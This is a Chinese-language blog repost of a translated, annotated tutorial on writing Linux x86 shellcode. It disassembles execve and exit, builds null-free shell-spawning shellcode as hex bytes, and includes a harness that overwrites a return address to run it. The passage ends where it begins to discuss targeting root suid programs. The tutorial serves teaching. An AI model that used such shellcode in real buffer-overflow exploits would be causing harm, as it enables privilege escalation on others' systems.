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分类: LINUX

2007-07-18 21:29:59

书写Linux下自己的shellcode

发布日期: 2000-1-25 
内容:
--------------------------------------------------------------------------------
 

原    作:aleph1 <>
翻译注释:warning3  1999/07
验证修改:scz  2000/01/13

概述:

    aleph1书写了这篇经典文章,首先要向他致敬。
    tt整理翻译了它,其次就是要向他表示衷心的感谢。

    该篇文章由浅入深地详细介绍了整个书写shellcode的步骤,
    并给出了图示帮助理解。文章中涉及到了一些工具的使用,
    要求具备汇编语言、编译原理的基础知识,如果你对此不
    了解的话,我建议你不要看下去,而是应该回头学习更基础
    的东西。gdb、objdump、vi、gcc等等工具你必须学会使用,
    你必须了解call命令、int命令与普通jmp命令的区别所在,
    你还应该知道函数从c语言编译到机器码时做了什么工作。
    如果所有的这一切都不成问题,你可以开始了。
    come on,baby!

测试:

    RedHat 6.0/Intel PII

目录:

    ★ 让我们开始吧

        1.  vi shellcode.c
        2.  gcc -o shellcode -ggdb -static shellcode.c
        3.  gdb shellcode
        4.  研究 main() 函数的汇编代码
        5.  研究 execve() 函数的执行过程
        6.  vi shellcode_exit.c
        7.  gcc -o shellcode_exit -static shellcode_exit.c
        8.  gdb shellcode_exit
        9.  研究 exit() 函数的执行过程
        10. 整个过程的伪汇编代码
        11. 观察堆栈分布情况
        12. 修改后的伪汇编代码
        13. 调整汇编代码
        14. 观察当前堆栈
        15. vi shellcodeasm.c
        16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c
        17. gdb shellcodeasm
        18. 验证shellcode
        19. 最后的调整
        20. 验证最后调整得到的shellcode

    ★ 我对shellcode以及这篇文章的看法

        1. 你是从DOS年代过来的吗?
        2. 关于文章中的一些技术说明
        3. 如何写Sun工作站上的shellcode?

★ 让我们开始吧

1. vi shellcode.c

#include 
int main ( int argc, char * argv[] )
{
    char * name[2];
    name[0] = "/bin/ksh";
    name[1] = NULL;
    execve( name[0], name, NULL );
    return 0;
}

2. gcc -o shellcode -ggdb -static shellcode.c

3. gdb shellcode

[scz@ /home/scz/src]> gdb shellcode
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main <-- -- -- 输入
Dump of assembler code for function main:
0x80481a0 :       pushl  %ebp
0x80481a1 :     movl   %esp,%ebp
0x80481a3 :     subl   $0x8,%esp
0x80481a6 :     movl   $0x806f308,0xfffffff8(%ebp)
0x80481ad :    movl   $0x0,0xfffffffc(%ebp)
0x80481b4 :    pushl  $0x0
0x80481b6 :    leal   0xfffffff8(%ebp),%eax
0x80481b9 :    pushl  %eax
0x80481ba :    movl   0xfffffff8(%ebp),%eax
0x80481bd :    pushl  %eax
0x80481be :    call   0x804b9b0 <__execve>
0x80481c3 :    addl   $0xc,%esp
0x80481c6 :    xorl   %eax,%eax
0x80481c8 :    jmp    0x80481d0 
0x80481ca :    leal   0x0(%esi),%esi
0x80481d0 :    leave
0x80481d1 :    ret
End of assembler dump.
(gdb) disas __execve <-- -- -- 输入
Dump of assembler code for function __execve:
0x804b9b0 <__execve>:   pushl  %ebx
0x804b9b1 <__execve+1>: movl   0x10(%esp,1),%edx
0x804b9b5 <__execve+5>: movl   0xc(%esp,1),%ecx
0x804b9b9 <__execve+9>: movl   0x8(%esp,1),%ebx
0x804b9bd <__execve+13>:        movl   $0xb,%eax
0x804b9c2 <__execve+18>:        int    $0x80
0x804b9c4 <__execve+20>:        popl   %ebx
0x804b9c5 <__execve+21>:        cmpl   $0xfffff001,%eax
0x804b9ca <__execve+26>:        jae    0x804bcb0 <__syscall_error>
0x804b9d0 <__execve+32>:        ret
End of assembler dump.

4. 研究 main() 函数的汇编代码

0x80481a0 :       pushl  %ebp      # 保存原来的栈基指针
                                         # 栈基指针与堆栈指针不是一个概念
                                         # 栈基指针对应栈底,堆栈指针对应栈顶
0x80481a1 :     movl   %esp,%ebp # 修改得到新的栈基指针
                                         # 与我们以前在dos下汇编格式不一样
                                         # 这个语句是说把esp的值赋给ebp
                                         # 而在dos下,正好是反过来的,一定要注意
0x80481a3 :     subl   $0x8,%esp # 堆栈指针向栈顶移动八个字节
                                         # 用于分配局部变量的存储空间
                                         # 这里具体就是给 char * name[2] 预留空间
                                         # 因为每个字符指针占用4个字节,总共两个指针
0x80481a6 :     movl   $0x806f308,0xfffffff8(%ebp)
                                         # 将字符串"/bin/ksh"的地址拷贝到name[0]
                                         # name[0] = "/bin/ksh";
                                         # 0xfffffff8(%ebp) 就是 ebp - 8 的意思
                                         # 注意堆栈的增长方向以及局部变量的分配方向
                                         # 先分配name[0]后分配name[1]的空间
0x80481ad :    movl   $0x0,0xfffffffc(%ebp)
                                         # 将NULL拷贝到name[1]
                                         # name[1] = NULL;
0x80481b4 :    pushl  $0x0
                                         # 按从右到左的顺序将execve()的三个参数依次压栈
                                         # 首先压入 NULL (第三个参数)
                                         # 注意pushl将压入一个四字节长的0
0x80481b6 :    leal   0xfffffff8(%ebp),%eax
                                         # 将 ebp - 8 本身放入eax寄存器中
                                         # leal的意思是取地址,而不是取值
0x80481b9 :    pushl  %eax      # 其次压入 name
0x80481ba :    movl   0xfffffff8(%ebp),%eax
0x80481bd :    pushl  %eax      # 将 ebp - 8 本身放入eax寄存器中
                                         # 最后压入 name[0]
                                         # 即 "/bin/ksh" 字符串的地址
0x80481be :    call   0x804b9b0 <__execve>
                                         # 开始调用 execve()
                                         # call指令首先会将返回地址压入堆栈
0x80481c3 :    addl   $0xc,%esp
                                         # esp + 12
                                         # 释放为了调用 execve() 而压入堆栈的内容
0x80481c6 :    xorl   %eax,%eax
0x80481c8 :    jmp    0x80481d0 
0x80481ca :    leal   0x0(%esi),%esi
0x80481d0 :    leave
0x80481d1 :    ret

5. 研究 execve() 函数的执行过程

Linux在寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式(int $0x80)

0x804b9b0 <__execve>:   pushl  %ebx      # ebx压栈
0x804b9b1 <__execve+1>: movl   0x10(%esp,1),%edx
                                         # 把 esp + 16 本身赋给edx
                                         # 为什么是16,因为栈顶现在是ebx
                                         # 下面依次是返回地址、name[0]、name、NULL
                                         # edx --> NULL
0x804b9b5 <__execve+5>: movl   0xc(%esp,1),%ecx
                                         # 把 esp + 12 本身赋给 ecx
                                         # ecx --> name
                                         # 命令的参数数组,包括命令自己
0x804b9b9 <__execve+9>: movl   0x8(%esp,1),%ebx
                                         # 把 esp + 8 本身赋给 ebx
                                         # ebx --> name[0]
                                         # 命令本身,"/bin/ksh"
0x804b9bd <__execve+13>:        movl   $0xb,%eax
                                         # 设置eax为0xb,这是syscall表中的索引
                                         # 0xb对应execve
0x804b9c2 <__execve+18>:        int    $0x80
                                         # 软件中断,转入kernel模式
0x804b9c4 <__execve+20>:        popl   %ebx
                                         # 恢复ebx
0x804b9c5 <__execve+21>:        cmpl   $0xfffff001,%eax
0x804b9ca <__execve+26>:        jae    0x804bcb0 <__syscall_error>
                                         # 判断返回值,报告可能的系统调用错误
0x804b9d0 <__execve+32>:        ret      # execve() 调用返回
                                         # 该指令会用压在堆栈中的返回地址

从上面的分析可以看出,完成 execve() 系统调用,我们所要做的不过是这么几项而已:

    a) 在内存中有以NULL结尾的字符串"/bin/ksh"
    b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值
    c) 将0xb拷贝到寄存器EAX中
    d) 将"/bin/ksh"的地址拷贝到寄存器EBX中
    e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中
    f) 将 NULL 拷贝到寄存器EDX中
    g) 执行中断指令int $0x80

如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据
是随机的,通常这个程序会core dump。我们希望如果execve调用失败的话,程序可以正
常退出,因此我们必须在execve调用后增加一个exit系统调用。它的C语言程序如下:

6. vi shellcode_exit.c

#include 
int main ()
{
    exit( 0 );
}

7. gcc -o shellcode_exit -static shellcode_exit.c

8. gdb shellcode_exit

[scz@ /home/scz/src]> gdb shellcode_exit
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas _exit <-- -- -- 输入
Dump of assembler code for function _exit:
0x804b970 <_exit>:      movl   %ebx,%edx
0x804b972 <_exit+2>:    movl   0x4(%esp,1),%ebx
0x804b976 <_exit+6>:    movl   $0x1,%eax
0x804b97b <_exit+11>:   int    $0x80
0x804b97d <_exit+13>:   movl   %edx,%ebx
0x804b97f <_exit+15>:   cmpl   $0xfffff001,%eax
0x804b984 <_exit+20>:   jae    0x804bc60 <__syscall_error>
End of assembler dump.

9. 研究 exit() 函数的执行过程

我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出码放
入EBX中,然后执行"int $0x80"。大部分程序正常退出时返回0值,我们也在EBX中放入0。
现在我们所要完成的工作又增加了三项:

    a) 在内存中有以NULL结尾的字符串"/bin/ksh"
    b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值
    c) 将0xb拷贝到寄存器EAX中
    d) 将"/bin/ksh"的地址拷贝到寄存器EBX中
    e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中
    f) 将 NULL 拷贝到寄存器EDX中
    g) 执行中断指令int $0x80
    h) 将0x1拷贝到寄存器EAX中
    i) 将0x0拷贝到寄存器EBX中
    j) 执行中断指令int $0x80

10. 整个过程的伪汇编代码

下面我们用汇编语言完成上述工作。我们把"/bin/ksh"字符串放到代码的后面,并且会
把字符串的地址和NULL加到字符串的后面:

------------------------------------------------------------------------------
movl   string_addr,string_addr_addr    #将字符串的地址放入某个内存单元中
movb   $0x0,null_byte_addr             #将null放入字符串"/bin/ksh"的结尾
movl   $0x0,null_addr                  #将NULL放入某个内存单元中
movl   $0xb,%eax                       #将0xb拷贝到EAX中
movl   string_addr,%ebx                #将字符串的地址拷贝到EBX中
leal   string_addr_addr,%ecx           #将存放字符串地址的地址拷贝到ECX中
leal   null_string,%edx                #将存放NULL的地址拷贝到EDX中
int    $0x80                           #执行中断指令int $0x80 (execve()完成)
movl   $0x1, %eax                      #将0x1拷贝到EAX中
movl   $0x0, %ebx                      #将0x0拷贝到EBX中
int    $0x80                           #执行中断指令int $0x80 (exit(0)完成)
/bin/ksh string goes here.             #存放字符串"/bin/ksh"
------------------------------------------------------------------------------

11. 观察堆栈分布情况

现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中
的确切位置。一种解决的方法是用一个jmp和call指令。jmp和call指令可以用IP相关寻址,
也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址
的确切数值。如果我们将call指令放在字符串"/bin/ksh"的前面,然后jmp到call指令的位置,
那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址
)压入堆栈。我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符
串地址)从堆栈中弹出到某个寄存器中。假设J代表JMP指令,C代表CALL指令,S代表其他指令,
s代表字符串"/bin/ksh",那么我们执行的顺序就象下图所示:

内存       DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     内存
低端       89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     高端
           buffer                sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
栈顶                                                              栈底

sfp  : 栈基指针
ret  : 返回地址
a,b,c: 函数入口参数

(1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode
   的起始处
(2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令
(3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行

12. 修改后的伪汇编代码

经过上述修改后,我们的汇编代码变成了下面的样子:

------------------------------------------------------------------------------
jmp    offset-to-call           # 3 bytes 1.首先跳到call指令处去执行
popl   %esi                     # 1 byte  3.从堆栈中弹出字符串地址到ESI中
movl   %esi,array-offset(%esi)  # 3 bytes 4.将字符串地址拷贝到字符串后面
movb   $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾
movl   $0x0,null-offset(%esi)   # 7 bytes 6.将null长字放到字符串地址的地址后面
movl   $0xb,%eax                # 5 bytes 7.将0xb拷贝到EAX中
movl   %esi,%ebx                # 2 bytes 8.将字符串地址拷贝到EBX中
leal   array-offset(%esi),%ecx  # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal   null-offset(%esi),%edx   # 3 bytes 10.将null串的地址拷贝到EDX
int    $0x80                    # 2 bytes 11.调用中断指令int $0x80
movl   $0x1, %eax               # 5 bytes 12.将0x1拷贝到EAX中
movl   $0x0, %ebx               # 5 bytes 13.将0x0拷贝到EBX中
int    $0x80                    # 2 bytes 14.调用中断int $0x80
call   offset-to-popl           # 5 bytes 2.将返回地址压栈,跳到popl处执行
/bin/ksh string goes here.
------------------------------------------------------------------------------

13. 调整汇编代码

计算一下从jmp到call和从call到popl,以及从字符串地址到name数组,从字符串地址到
null串的偏移量,我们得到下面的程序:

------------------------------------------------------------------------------
jmp    0x2a               # 3 bytes 1.首先跳到call指令处去执行
popl   %esi               # 1 byte  3.从堆栈中弹出字符串地址到ESI中
movl   %esi,0x9(%esi)     # 3 bytes 4.将字符串地址拷贝到字符串后面
movb   $0x0,0x8(%esi)     # 4 bytes 5.将null字节放到字符串尾部
movl   $0x0,0xd(%esi)     # 7 bytes 6.将null长字放到字符串地址后
movl   $0xb,%eax          # 5 bytes 7.将0xb拷贝到EAX中
movl   %esi,%ebx          # 2 bytes 8.将字符串地址拷贝到EBX中
leal   0x9(%esi),%ecx     # 3 bytes 9.将字符串地址的地址拷贝到ECX
leal   0xd(%esi),%edx     # 3 bytes 10.将null串的地址拷贝到EDX
int    $0x80              # 2 bytes 11.调用中断指令int $0x80
movl   $0x1, %eax         # 5 bytes 12.将0x1拷贝到EAX中
movl   $0x0, %ebx         # 5 bytes 13.将0x0拷贝到EBX中
int    $0x80              # 2 bytes 14.调用中断int $0x80
call   -0x2f              # 5 bytes 2.将返回地址压栈,跳到popl处执行
.string \"/bin/ksh\"      # 9 bytes
------------------------------------------------------------------------------

14. 观察当前堆栈

当上述过程执行到第7步时,我们可以看一下这时堆栈中的情况
假设字符串的地址是0xbfffc5f0:

   |........ |
   |---------|0xbfffc5f0  %esi         字符串地址
   |   '/'   |
   |---------|
   |   'b'   |
   |---------|
   |   'i'   |
   |---------|
   |   'n'   |
   |---------|
   |   '/'   |
   |---------|
   |   'k'   |
   |---------|
   |   's'   |
   |---------|
   |   'h'   |
   |---------|0xbfffc5f8  0x8(%esi) null字节的地址
   |    0    |
   |---------|0xbfffc5f9  0x9(%esi) 存放字符串指针的地址 即name[0] 大小是4个字节
   |   0xbf  |
   |---------|注: 这四个字节实际可能并不是按顺序存储的,也许是按0xf0c5ffbf的顺序。
   |   0xff  |    我没有验证过,只是为了说明问题,简单的这么写了一下。
   |---------|
   |   0xc5  |
   |---------|
   |   0xf0  |
   |---------|0xbfffc5fd  0xd(%esi) 空串的地址 即name[1] 大小是4个字节
   |    0    |
   |---------|
   |    0    |
   |---------|
   |    0    |
   |---------|
   |    0    |
   |---------|
   | ....... |

15. vi shellcodeasm.c

为了证明它能正常工作,我们必须编译并运行它。但这里有个问题,我们的代码要自己修
改自己,而大部分操作系统都将代码段设为只读,为了绕过这个限制,我们必须将我们希望
执行的代码放到堆栈或数据段中,并且转向执行它,可以将代码放到数据段的一个全局
数组中。首先需要得到二进制码的16进制形式,可以先编译,然后用GDB得到我们所要的东西

int main ()
{
    __asm__
    ("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x9(%esi)           # 3 bytes
        movb   $0x0,0x8(%esi)           # 4 bytes
        movl   $0x0,0xd(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x9(%esi),%ecx           # 3 bytes
        leal   0xd(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/ksh\"            # 9 bytes
    ");
}

16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c

17. gdb shellcodeasm

[scz@ /home/scz/src]> gdb shellcodeasm
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048398 :       pushl  %ebp
0x8048399 :     movl   %esp,%ebp
0x804839b :     jmp    0x80483c7 
0x804839d :     popl   %esi
0x804839e :     movl   %esi,0x9(%esi)
0x80483a1 :     movb   $0x0,0x8(%esi)
0x80483a5 :    movl   $0x0,0xd(%esi)
0x80483ac :    movl   $0xb,%eax
0x80483b1 :    movl   %esi,%ebx
0x80483b3 :    leal   0x9(%esi),%ecx
0x80483b6 :    leal   0xd(%esi),%edx
0x80483b9 :    int    $0x80
0x80483bb :    movl   $0x1,%eax
0x80483c0 :    movl   $0x0,%ebx
0x80483c5 :    int    $0x80
0x80483c7 :    call   0x804839d 
0x80483cc :    das
0x80483cd :    boundl 0x6e(%ecx),%ebp
0x80483d0 :    das
0x80483d1 :    imull  $0x0,0x68(%ebx),%esi
0x80483d5 :    leave
0x80483d6 :    ret
End of assembler dump.
(gdb) x/bx main+3 <-- -- -- 输入
0x804839b :     0xeb
(gdb)
0x804839c :     0x2a
(gdb)
...

如此下去即可得到完整的机器码。
但是我们不必如此罗嗦,昨天介绍过的objdump今天派上用场了:
objdump -j .text -Sl shellcodeasm | more
/main
得到如下结果:

08048398 :
main():
/home/scz/src/shellcodeasm.c:2
{
8048398:       55                      pushl  %ebp
8048399:       89 e5                   movl   %esp,%ebp
/home/scz/src/shellcodeasm.c:3
    __asm__
804839b:       eb 2a                   jmp    80483c7 
804839d:       5e                      popl   %esi
804839e:       89 76 09                movl   %esi,0x9(%esi)
80483a1:       c6 46 08 00             movb   $0x0,0x8(%esi)
80483a5:       c7 46 0d 00 00 00 00    movl   $0x0,0xd(%esi)
80483ac:       b8 0b 00 00 00          movl   $0xb,%eax
80483b1:       89 f3                   movl   %esi,%ebx
80483b3:       8d 4e 09                leal   0x9(%esi),%ecx
80483b6:       8d 56 0d                leal   0xd(%esi),%edx
80483b9:       cd 80                   int    $0x80
80483bb:       b8 01 00 00 00          movl   $0x1,%eax
80483c0:       bb 00 00 00 00          movl   $0x0,%ebx
80483c5:       cd 80                   int    $0x80
80483c7:       e8 d1 ff ff ff          call   804839d 
80483cc:       2f                      das
80483cd:       62 69 6e                boundl 0x6e(%ecx),%ebp
80483d0:       2f                      das
80483d1:       6b 73 68 00             imull  $0x0,0x68(%ebx),%esi
/home/scz/src/shellcodeasm.c:21
    ("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x9(%esi)           # 3 bytes
        movb   $0x0,0x8(%esi)           # 4 bytes
        movl   $0x0,0xd(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x9(%esi),%ecx           # 3 bytes
        leal   0xd(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/ksh\"            # 9 bytes
    ");
}
80483d5:       c9                      leave
80483d6:       c3                      ret
80483d7:       90                      nop

整理shellcode如下:

eb 2a 5e 89 76 09 c6 46 08 00 c7 46 0d 00 00 00 00 b8 0b 00
00 00 89 f3 8d 4e 09 8d 56 0d cd 80 b8 01 00 00 00 bb 00 00
00 00 cd 80 e8 d1 ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3

18. 验证shellcode

vi shelltest.c

char shellcode[] =
    "\xeb\x2a\x5e\x89\x76\x09\xc6\x46\x08\x00\xc7\x46\x0d\x00\x00\x00\x00\xb8\x0b\x00"
    "\x00\x00\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00"
    "\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x00\xc9\xc3";

int main ()
{
    int * ret;  /* 当前esp指向的地址保存ret的值 */

    ret      = ( int * )&ret + 2;  /* 得到 esp + 2 * 4,那是返回地址IP */
    ( *ret ) = ( int )shellcode;  /* 修改了 main() 函数的返回地址,那是很重要的一步 */
}

[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
[scz@ /home/scz/src]> ./shelltest
$ exit
[scz@ /home/scz/src]>

那说明一切都成功了!为了帮助你理解,我们还是来看看这段程序究竟做了什么:

objdump -j .text -Sl shelltest | more
/main
得到如下结果:

08048398 :
main():
8048398:       55                      pushl  %ebp
8048399:       89 e5                   movl   %esp,%ebp
804839b:       83 ec 04                subl   $0x4,%esp             # 给局部变量预留空间
804839e:       8d 45 fc                leal   0xfffffffc(%ebp),%eax # ebp - 4 => eax
                                                                     # 取了栈顶指针
                                                                     # 为什么不直接用esp赋值?
80483a1:       8d 50 08                leal   0x8(%eax),%edx        # eax + 8 => edx
                                                                     # edx现在指向IP
80483a4:       89 55 fc                movl   %edx,0xfffffffc(%ebp) # edx     => [ ebp - 4 ]
                                                                     # 把IP的地址放入局部变量中
80483a7:       8b 45 fc                movl   0xfffffffc(%ebp),%eax # ebp - 4 => eax
                                                                     # eax现在保存着IP的地址
80483aa:       c7 00 40 94 04 08       movl   $0x8049440,(%eax)     # 修改了返回地址
80483b0:       c9                      leave
80483b1:       c3                      ret
80483b2:       90                      nop

19. 最后的调整

它现在工作了,但还有个小问题。大多数情况下我们都是试图overflow一个字符型
buffer,因此在我们的shellcode中任何的null字节都会被认为是字符串的结束,copy过程
就被中止了。因此要使exploit工作,shellcode中不能有null字节,我们可以略微调整一
下代码:

有问题的指令                替代指令
--------------------------------------------------------
movb   $0x0,0x8(%esi)       xorl   %eax,%eax
movl   $0x0,0xd(%esi)       movb   %eax,0x8(%esi)
                            movl   %eax,0xd(%esi)
--------------------------------------------------------
movl   $0xb,%eax            movb   $0xb,%al
--------------------------------------------------------
movl   $0x1, %eax           xorl   %ebx,%ebx
movl   $0x0, %ebx           movl   %ebx,%eax
                            inc    %eax
--------------------------------------------------------

我们改进后的代码如下:

vi shellcodeasm.c

int main ()
{
    __asm__
    ("
        jmp    0x1f                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x9(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x8(%esi)           # 3 bytes
        movl   %eax,0xd(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x9(%esi),%ecx           # 3 bytes
        leal   0xd(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string \"/bin/ksh\"            # 9 bytes
                                        # 48 bytes total
    ");
}

[scz@ /home/scz/src]> gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[scz@ /home/scz/src]> gdb shellcodeasm
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048398 :       pushl  %ebp
0x8048399 :     movl   %esp,%ebp
0x804839b :     jmp    0x80483bc 
0x804839d :     popl   %esi
0x804839e :     movl   %esi,0x9(%esi)
0x80483a1 :     xorl   %eax,%eax
0x80483a3 :    movb   %al,0x8(%esi)
0x80483a6 :    movl   %eax,0xd(%esi)
0x80483a9 :    movb   $0xb,%al
0x80483ab :    movl   %esi,%ebx
0x80483ad :    leal   0x9(%esi),%ecx
0x80483b0 :    leal   0xd(%esi),%edx
0x80483b3 :    int    $0x80
0x80483b5 :    xorl   %ebx,%ebx
0x80483b7 :    movl   %ebx,%eax
0x80483b9 :    incl   %eax
0x80483ba :    int    $0x80
0x80483bc :    call   0x804839d 
0x80483c1 :    das
0x80483c2 :    boundl 0x6e(%ecx),%ebp
0x80483c5 :    das
0x80483c6 :    imull  $0x0,0x68(%ebx),%esi
0x80483ca :    leave
0x80483cb :    ret
End of assembler dump.
(gdb)

objdump -j .text -Sl shellcodeasm | more
/main
得到如下结果:

08048398 :
main():
/home/scz/src/shellcodeasm.c:2
{
8048398:       55                      pushl  %ebp
8048399:       89 e5                   movl   %esp,%ebp
/home/scz/src/shellcodeasm.c:3
    __asm__
804839b:       eb 1f                   jmp    80483bc 
804839d:       5e                      popl   %esi
804839e:       89 76 09                movl   %esi,0x9(%esi)
80483a1:       31 c0                   xorl   %eax,%eax
80483a3:       88 46 08                movb   %al,0x8(%esi)
80483a6:       89 46 0d                movl   %eax,0xd(%esi)
80483a9:       b0 0b                   movb   $0xb,%al
80483ab:       89 f3                   movl   %esi,%ebx
80483ad:       8d 4e 09                leal   0x9(%esi),%ecx
80483b0:       8d 56 0d                leal   0xd(%esi),%edx
80483b3:       cd 80                   int    $0x80
80483b5:       31 db                   xorl   %ebx,%ebx
80483b7:       89 d8                   movl   %ebx,%eax
80483b9:       40                      incl   %eax
80483ba:       cd 80                   int    $0x80
80483bc:       e8 dc ff ff ff          call   804839d 
80483c1:       2f                      das
80483c2:       62 69 6e                boundl 0x6e(%ecx),%ebp
80483c5:       2f                      das
80483c6:       6b 73 68 00             imull  $0x0,0x68(%ebx),%esi
/home/scz/src/shellcodeasm.c:24
    ("
        jmp    0x1f                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x9(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x8(%esi)           # 3 bytes
        movl   %eax,0xd(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x9(%esi),%ecx           # 3 bytes
        leal   0xd(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string \"/bin/ksh\"            # 9 bytes
                                        # 48 bytes total
    ");
}
80483ca:       c9                      leave
80483cb:       c3                      ret
80483cc:       90                      nop

整理shellcode如下:

eb 1f 5e 89 76 09 31 c0 88 46 08 89 46 0d b0 0b
89 f3 8d 4e 09 8d 56 0d cd 80 31 db 89 d8 40 cd
80 e8 dc ff ff ff 2f 62 69 6e 2f 6b 73 68 00 c9 c3

20. 验证最后调整得到的shellcode

vi shelltest.c

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89\x46\x0d\xb0\x0b"
    "\x89\xf3\x8d\x4e\x09\x8d\x56\x0d\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x00\xc9\xc3";

int main ()
{
    int * ret;  /* 当前esp指向的地址保存ret的值 */

    ret      = ( int * )&ret + 2;  /* 得到 esp + 2 * 4,那是返回地址IP */
    ( *ret ) = ( int )shellcode;  /* 修改了 main() 函数的返回地址,那是很重要的一步 */
}

[scz@ /home/scz/src]> gcc -o shelltest shelltest.c
[scz@ /home/scz/src]> ./shelltest
$ exit
[scz@ /home/scz/src]>

现在你已经明白了怎么写shellcode了,并不象想象中那么难,是吧?:-)
这里介绍的仅仅是一个写shellcode的思路以及需要注意的一些问题。
你可以根据自己的需要,编写出自己的shellcode来。

★ 我对shellcode以及这篇文章的看法

1. 你是从DOS年代过来的吗?

如果答案肯定,我就不多说了,因为上面通篇实际上并没有超出当年我们
在DOS游戏汇编的范畴,毕竟Linux跑在Intel x86架构上。当发生far call的
时候,cs:ip对被压栈,先是ip后是cs,现在想起来为什么上面的介绍那么地
似曾相识了吧。int发生的时候不过多压了个flag而已。那么far jmp就更不
用多说。回忆,再回忆,回忆那些当年我们为之付出心血的DOS下的汇编语言。
ret、iret、int 3、int 21、int 1,TSR,你还能想起什么尘封了的往事。

通过修改堆栈中的返回地址将程序流程引导到别处,曾经是dos下的家常便饭,
为了防止中断向量被修改,宁可远程call远程跳转也不愿意使用int指令,编写
自己的debug程序,利用int 1的单步,难道你没有修改过堆栈中的返回地址?
为了嵌入那些当前编译器不支持的机器码,用db直接插入机器码。为了提高某些
关键代码的执行效率,使用嵌入式汇编,难道你从来没有看过.s文件?

不再回忆,DOS已是昨天。

2. 关于文章中的一些技术说明

原文是用/bin/sh的,我为了从头实际演练一番,用了/bin/ksh,你要是
乐意可以使用任意的shell。其次,可能是原文有误,要么是翻译中书写错误,
反正是有那么几处错误,我都一一调整过来了。原文是用gdb那样获得完整的
shellcode的,而我昨天刚刚介绍了objdump的使用,所以也可以利用objdump
获得shellcode,上文中已经多次给出了完整的命令。

最后的shelltest,我给加上了注释,因为你可能看到最后没有理解shellcode
如何被执行的。因为c编译器给main()函数前后都加了启动结束代码,main()
函数也是被调用的,也有自己的返回地址,所以程序中修改main()的返回地址
使得shellcode被执行。所以,你不能在main()函数的最后调用exit(0)。因为
函数的形式参数先于返回地址压栈,所以即使成了
int main ( int argc, char * argv[] )
也不影响返回地址的修改。

定义ret局部变量就意味着esp已经获得,必须明确理解这一点。

这里仅仅介绍了如何写自己的shellcode,并没有介绍缓冲区溢出本身。
简单说两句。从纯粹的攻击角度而言,首先要寻找那些suid/sgid的属主
是root的应用程序,然后判断该应用程序是否可能发生缓冲区溢出,继而
